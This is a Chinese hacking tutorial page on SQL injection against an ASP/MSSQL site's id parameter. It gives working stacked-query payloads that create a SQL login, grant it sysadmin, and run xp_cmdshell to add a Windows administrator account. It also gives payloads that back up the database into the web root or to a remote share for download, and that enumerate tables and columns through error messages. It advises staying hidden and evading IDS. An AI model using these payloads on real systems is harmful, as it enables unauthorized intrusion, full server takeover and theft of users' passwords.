当前位置: 首页 > 图文教程 > 数据库 > MSSQL > SQL注入实战---利用“dbo”获得SQL管理权限和系统权限

MSSQL
修复断电等损坏的SQL 数据库
SQL 返回期间内的所有日期
数据库中的内容字段被挂马的替换方法 SQL注入
同一个sql语句 连接两个数据库服务器
SQL Server 空值处理策略[推荐]
sql2005 create file遇到操作系统错误5拒绝访问 错误1802
SQL SERVER 删除重复内容行
SQL SERVER 的SQL语句优化方式小结
数据库高并发情况下重复值写入的避免 字段组合约束
一个有趣的SQL命题 用一条语句切换BIT型的真假值
AspNetPager分页控件 存储过程
SQL Server自动生成日期加数字的序列号
远程连接局域网内的SQL Server 的方法
把数据批量插入具有Identity列的表的方法
SQL Server 索引维护sql语句
从两种SQL表连接写法来了解过去
SQLServer 循环批处理
从每个分类选择10条记录的sql语句
SQLServer XML查询快速入门(18句话)
被遗忘的SQLServer比较运算符谓词

MSSQL 中的 SQL注入实战---利用“dbo”获得SQL管理权限和系统权限


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-30   浏览: 97 ::
收藏到网摘: n/a

 

作者:覆灭之魔 文章来源:影子鹰安全网络

刚刚开始学习SQL注入入侵,有写的不对和不好的地方希望各位师哥,师姐们多多指导。

在一个供求信息发布的网站上测试了一下,页面Http://www.xxx.com/new/new.asp?id=49

我做了如下测试:(1) Http://www.xxx.com/new/new.asp?id=49'

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14
[Microsoft][ODBC Microsoft Access Driver] 字符串的语法错误
在查询表达式 'ID=49'' 中。
/new.asp,行36

(2) Http://www.xxx.com/new/new.asp?id=49 and 1=1
(正常返回页面)

(3) Http://www.xxx.com/new/new.asp?id=49 and 1=2
Microsoft OLE DB Provider for ODBC Drivers 错误 '800a0bcd'
BOF 或 EOF 中有一个是"真",或者当前的记录已被删除,所需的操作要求一个当前的记录。
/new.asp,行42

注:上面的测试已经可以看出有SQL注入的机会,我们用下面一个句子来判断他数据库类型和登陆身份。
Http://www.xxx.com/new/new.asp?id=49 and user>0
Microsoft OLE DB Provider for ODBC Drivers 错误 '800a0bcd'
将nvarchar值 "dbo" 转换数据类型为 int 的列时发生语法错误
/new.asp,行42
注:如果显示"dbo" 转换数据类型为 int 的列时发生语法错误 那么就可以用我下面介绍的方法来获得系统管理权限,如果是"abc" 转换数据类型为 int 的列时发生语法错误 那么就用不能用我下面的介绍来获得系统权限了。

获得以上信息后,就可以提交以下URL来一步一步的获得SQL管理员权限和系统权限了。

(1) Http://www.xxx.com/new/new.asp?id=49;exec
aster.dbo.sp_addlogin fmzm;--
添加SQL用户

(2) Http://www.xxx.com/new/new.asp?id=49;exec master.dbo.sp_password null,fmzm,fmzm;--
设置SQL帐号FMZM 的密码为 FMZM

(3) Http://www.xxx.com/new/new.asp?id=49;exec master.dbo.sp_addsrvrolemember sysadmin fmzm;--

提升权限:加FMZM进sysadmin管理组(有时候会不成功,就常识下面的句子
;exec master.dbo.sp_addsrvrolemember fmzm,sysadmin-- 为什么会这样,我也不清清楚,我就遇到了?栽 。。。)

(4) Http://www.xxx.com/new/new.asp?id=49;exec master.dbo.xp_cmdshell 'net user fmzm fmzm /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
建立一个系统用FMZM 并设置其密码为FMZM
(注:/workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes 这些很关键,如果不加这些,你建立的用户很有可能无法登陆,这些是启用你的帐号,并且使密码永不过期的一些相关设置。)

(5) Http://www.xxx.com/new/new.asp?id=49;exec master.dbo.xp_cmdshell 'net localgroup administrators fmzm /add';--

把帐号FMZM加入到管理员组

OK,到此为止,已经得到了SQL管理权限和系统权限了,还有什么不能做的呢?把上面的句子变个形 开个TELNET,或者用SQL连接器去连接,随便你怎么整了,记得别暴露自己哦 :)目前有些好的IDS已经开始监视xp_cmdshell这些关键字了.


附:
(1) http://Site/url.asp?id=1 ;;and db_name()>0

前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。

(2) http://Site/url.asp?id=1;backup database 数据库名 to disk='c:\inetpub\wwwroot\1.db';--

这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如\\202.96.xx.xx\Share\1.db),但成功率不高。

   (3) http://Site/url.asp?id=1 ;;and (select Top 1 name from sysobjects where xtype='U' and status>0)>0

sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype='U' and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是可以
自己考虑下。

(4) http://Site/url.asp?id=1 ;;and (select Top 1 col_name(object_id('表名'),1) from sysobjects)>0

从(3)拿到表名后,用object_id('表名')获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。